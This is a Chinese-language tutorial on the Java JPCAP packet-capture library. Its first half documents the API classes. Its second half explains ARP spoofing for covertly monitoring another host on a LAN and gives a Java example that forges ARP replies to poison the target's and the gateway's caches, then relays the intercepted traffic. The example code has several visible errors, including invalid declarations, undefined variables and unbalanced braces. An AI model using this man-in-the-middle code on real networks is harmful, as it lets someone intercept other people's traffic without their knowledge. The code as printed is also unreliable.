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JPCAP——Java中的數據鏈路層控制

編輯:關於JAVA
 一.JPCAP簡介

  眾所周知,Java語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對於網絡層以下的控制,卻是無能為力的。JPCAP擴展包彌補了這一點。

  JPCAP實際上並非一個真正去實現對數據鏈路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給Java語言提供一個公共的接口,從而實現了平台無關性。在官方網站上聲明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft windows 2000/XP等系統。

  二.JPCAP機制

  JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincap的typedef struct _ADAPTERADAPTER,getDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。

  1.NetworkInterface

  該類的每一個實例代表一個網絡設備,一般就是網卡。這個類只有一些數據成員,除了繼承自Java.lang.Object的基本方法以外,沒有定義其它方法。


數據成員
NetworkInterfaceAddress[]
Java.lang.String
datalink_description.
數據鏈路層的描述。描述所在的局域網是什麼網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。
Java.lang.String
datalink_name
該網絡設備所對應數據鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
Java.lang.String
description
網卡是XXXX牌子XXXX型號之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
boolean
Loopback
標志這個設備是否loopback設備。
byte[]
Mac_address
網卡的Mac地址,6個字節。
Java.lang.String
Name
這個設備的名稱。例如我的網卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

  2.JpcapCaptor

  該類提供了一系列靜態方法實現一些基本的功能。該類一個實例代表建立了一個與指定設備的鏈接,可以通過該類的實例來控制設備,例如設定網卡模式、設定過濾關鍵字等等。


數據成員
int

dropped_packets
拋棄的包的數目。
protected int

ID

這個數據成員在官方文檔中並沒有做任何說明,查看JPCAP源代碼可以發現這個ID實際上在其JNI的C代碼部分傳進來的,這類本身並沒有做出定義,所以是供其內部使用的。實際上在對JpcapCator實例的使用中也沒有辦法調用此數據成員。
protected staticboolean[]

instanciatedFlag

同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
protected staticint

MAX_NUMBER_OF_INSTANCE
同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
int

received_packets
收到的包的數目

方法成員
staticNetworkInterface[]

getDeviceList()
返回一個網絡設備列表。
staticJpcapCaptor

openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)
創建一個與指定設備的連接並返回該連接。注意,以上兩個方法都是靜態方法。

Interface:要打開連接的設備的實例;

Snaplen:這個是比較容易搞混的一個參數。其實這個參數不是限制只能捕捉多少數據包,而是限制每一次收到一個數據包,只提取該數據包中前多少字節;

Promisc:設置是否混雜模式。處於混雜模式將接收所有數據包,若之後又調用了包過濾函數setFilter()將不起任何作用;

To_ms:這個參數主要用於processPacket()方法,指定超時的時間;
void

Close()
關閉調用該方法的設備的連接,相對於openDivece()打開連接。
JpcapSender

getJpcapSenderInstance()
該返回一個JpcapSender實例,JpcapSender類是專門用於控制設備的發送數據包的功能的類。
Packet

getPacket()
捕捉並返回一個數據包。這是JpcapCaptor實例中四種捕捉包的方法之一。
int

loopPacket(intcount, PacketReceiver handler)
捕捉指定數目的數據包,並交由實現了PacketReceiver接口的類的實例處理,並返回捕捉到的數據包數目。如果count參數設為-1,那麼無限循環地捕捉數據。

這個方法不受超時的影響。還記得openDivice()中的to_ms參數麼?那個參數對這個方法沒有影響,如果沒有捕捉到指定數目數據包,那麼這個方法將一直阻塞等待。
PacketReceiver中只有一個抽象方法void receive(Packet p)。
int

processPacket(intcount, PacketReceiver handler)
跟loopPacket()功能一樣,唯一的區別是這個方法受超時的影響,超過指定時間自動返回捕捉到數據包的數目。
int

dispatchPacket(intcount, PacketReceiverhandler)
跟processPacket()功能一樣,區別是這個方法可以處於“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即返回,即使沒有捕捉到任何數據包。
void

setFilter(Java.lang.Stringcondition, booleanoptimize)
.condition:設定要提取的包的關鍵字。

Optimize:這個參數在說明文檔以及源代碼中都沒有說明,只是說這個參數如果為真,那麼過濾器將處於優化模式。
void

setNonBlockingMode(booleannonblocking)

如果值為“true”,那麼設定為“non-blocking”模式。
void

breakLoop()

當調用processPacket()和loopPacket()後,再調用這個方法可以強制讓processPacket()和loopPacket()停止。

  3.JpcapSender

  該類專門用於控制數據包的發送。


方法成員
void

close()
強制關閉這個連接。
staticJpcapSender

openRawSocket()

這個方法返回的JpcapSender實例發送數據包時將自動填寫數據鏈路層頭部分。
void

sendPacket(Packet packet)
JpcapSender最重要的功能,發送數據包。需要注意的是,如果調用這個方法的實例是由JpcapCaptor的getJpcapSenderInstance()得到的話,需要自己設定數據鏈路層的頭,而如果是由上面的openRawSocket()得到的話,那麼無需也不能設置,數據鏈路層的頭部將由系統自動生成。


  4.Packet

  這個是所有其它數據包類的父類。Jpcap所支持的數據包有:
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

三.使用JPCAP實現監聽

  1.監聽原理 

  在詳細說用JPCAP實現網絡監聽實現前,先簡單介紹下監聽的原理。

  局域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,局域網的布局是使用總線式(或集線式)結構,要到達監聽只需要將網卡設定為混雜模式即可,但現在的局域網絡普遍采用的是交換式網絡,所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。

  假設本機為A,監聽目標為B。

  首先,偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入網關IP,目的地址填入B的MAC、IP,然後將這個包發送給B,而B接收到這個偽造的ARP REPLY包後,由於源IP為網關IP,於是在它的ARP緩存表裡刷新了一項,將(網關IP,網關MAC)刷新成(網關IP,A的Mac)。而B要訪問外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。

  接著,再偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網關MAC、IP,然後將這個包發給網關,網關接收到這個偽造的ARP REPLY包後,由於源IP為B的IP,於是在它的ARP緩存表裡刷新了一項,將(B的IP,B的MAC)刷新成(B的IP,A的Mac)。這時候外部傳給B的數據包經過網關時,就通通轉發給A。

  這樣還只是攔截了B的數據包而已,B並不能上網——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中浏覽了B所有的對外數據包。

  ARP數據包解析

  單元:Byte


Ethernet頭部

ARP數據部分

6

6

2

2

2

2

2

4

6

4

6

目標Mac地址

源地Mac地址

類型號0x0800:ip

0x0806:ARP

局域網類型

以太網0x0001

網絡協議類型

IP網絡0x0800

Mac/IP地址長度,恆為0x06/04

ARP包類型

REPLY

0x0002

ARP目標IP地址

ARP目標Mac 地址

ARP源IP地址

ARP源Mac地址

  2.用JPCAP實現監聽

  就如上面說的,為了實現監聽,我們必須做四件事:

  A.發送ARP包修改B的ARP緩存表;

  B.發送ARP包修改路由ARP緩存表;

  C.轉發B發過來的數據包;

  D.轉發路由發過來的數據包;

  下面我們給個小小的例子說明怎樣實現。

  我們假定運行這個程序的機器A只有一個網卡,只接一個網絡,所在局域網為Ethernet,並且假定已經通過某種方式獲得B和網關的Mac地址(例如ARP解析獲得)。我們修改了B和網關的ARP表,並對他們的包進行了轉發。

public class changeARP{
 private NetworkInterface[] devices; //設備列表
 private NetworkInterface device; //要使用的設備
 private JpcapCaptor jpcap; //與設備的連接
 private JpcapSender sender; //用於發送的實例
 private byte[] targetMAC, gateMAC; //B的MAC地址,網關的Mac地址
 private byte[] String targetIp, String gateIp; //B的IP地址,網關的IP地址
 /**
 *初始化設備
 * JpcapCaptor.getDeviceList()得到設備可能會有兩個,其中一個必定是“Generic
 *dialup adapter”,這是Windows系統的虛擬網卡,並非真正的硬件設備。

 *注意:在這裡有一個小小的BUG,如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
 *JFame()這類的語句會影響得到設備個數,只會得到真正的硬件設備,而不會出現虛擬網卡。
 *虛擬網卡只有MAC地址而沒有IP地址,而且如果出現虛擬網卡,那麼實際網卡的Mac將分
 *配給虛擬網卡,也就是說在程序中調用device. Mac_address時得到的是00 00 00 00 00 00。

 */

 private NetworkInterface getDevice() throws IOException {
  devices = JpcapCaptor.getDeviceList(); //獲得設備列表
  device = devices[0];//只有一個設備
  jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設備的連接
  jpcap.setFilter(“ip”,true); //只監聽B的IP數據包
  sender = captor.getJpcapSenderInstance();
 }
 /**
 *修改B和網關的ARP表。因為網關會定時發數據包刷新自己和B的緩存表,所以必須每隔一
 *段時間就發一次包重新更改B和網關的ARP表。
 *@參數 targetMAC B的Mac地址,可通過ARP解析得到;
 *@參數 targetIp B的IP地址;
 *@參數 gateMAC 網關的Mac地址;
 */

 public changeARP(byte[] targetMAC, String targetIp,byte[] gateMac, String gateIp)
 throws UnknownHostException,InterruptedException {
  this. targetMAC = targetMac;
  this. targetIp = targetIp;
  this. gateMAC = gateMac;
  this. gateIp = gateIp;
  getDevice();
  arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
  arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網類型(Ethernet)
  arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網絡協議類型
  arpTarget.Operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
  arpTarget.hlen = 6; //Mac地址長度固定6個字節
  arpTarget.plen = 4; //IP地址長度固定4個字節
  arpTarget.sender_hardaddr = device.mac_address; //A的Mac地址
  arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網關IP

  arpTarget.target_hardaddr = targetMAC; //B的Mac地址
  arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

  EthernetPacket ethToTarget = new EthernetPacket(); //創建一個以太網頭
  ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//選擇以太包類型
  ethToTarget.src_mac = device.mac_address; //A的Mac地址
  ethToTarget.dst_mac = targetMAC; //B的Mac地址
  arpTarget.datalink = ethToTarget; //將以太頭添加到ARP包前
  arpGate = new ARPPacket(); //修改網關ARP表的包
  arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重復注析
  arpGate.prototype = ARPPacket.PROTOTYPE_IP;
  arpGate.Operation = ARPPacket.ARP_REPLY;
  arpGate.hlen = 6;
  arpGate.plen = 4;
  arpGate.sender_hardaddr = device.Mac_address;
  arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
  arpGate.target_hardaddr = gateMac;
  arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
  EthernetPacket ethToGate = new EthernetPacket();
  ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
  ethToGate.src_mac = device.Mac_address;
  ethToGate.dst_mac = gateMac;
  arpGate.datalink = ethToGate;
  thread=new Thread(new Runnable(){ //創建一個進程控制發包速度
  public void run() {
   while (true) {
    sender.sendPacket(arpTarget);
    sender.sendPacket(arpGate);
    Thread.sleep(500);
   }).start();
   recP(); //接收數據包並轉發
  }
  /**
  *修改包的以太頭,轉發數據包
  *參數 packet 收到的數據包
  *參數 changeMac 要轉發出去的目標
  */
  private void send(Packet packet, byte[] changeMac) {
   EthernetPacket eth;
   if (packet.datalink instanceof EthernetPacket) {
    eth = (EthernetPacket) packet.datalink;
    for (int i = 0; i < 6; i++) {
     eth.dst_mac[i] = changeMac[i]; //修改包以太頭,改變包的目標
     eth.src_mac[i] = device.Mac_address[i]; //源發送者為A
    }
    sender.sendPacket(packet);
   }
  }
  /**
  *打印接受到的數據包並轉發
  */
  public void recP(){
   IPPacket ipPacket = null;
   while(true){
    ipPacket = (IPPacket)jpcap.getPacket();
    System.out.println(ipPacket);
    if (ipPacket.src_ip.getHostAddress().equals(targetIp))
     send(packet, gateMac);
    else
     send(packet, targetMac);
   }
  }
  注意:這個例子只是為了說明問題,並沒有考慮到程序的健壯性,所以並不一定能在任何一台機器任何一個系統上運行。

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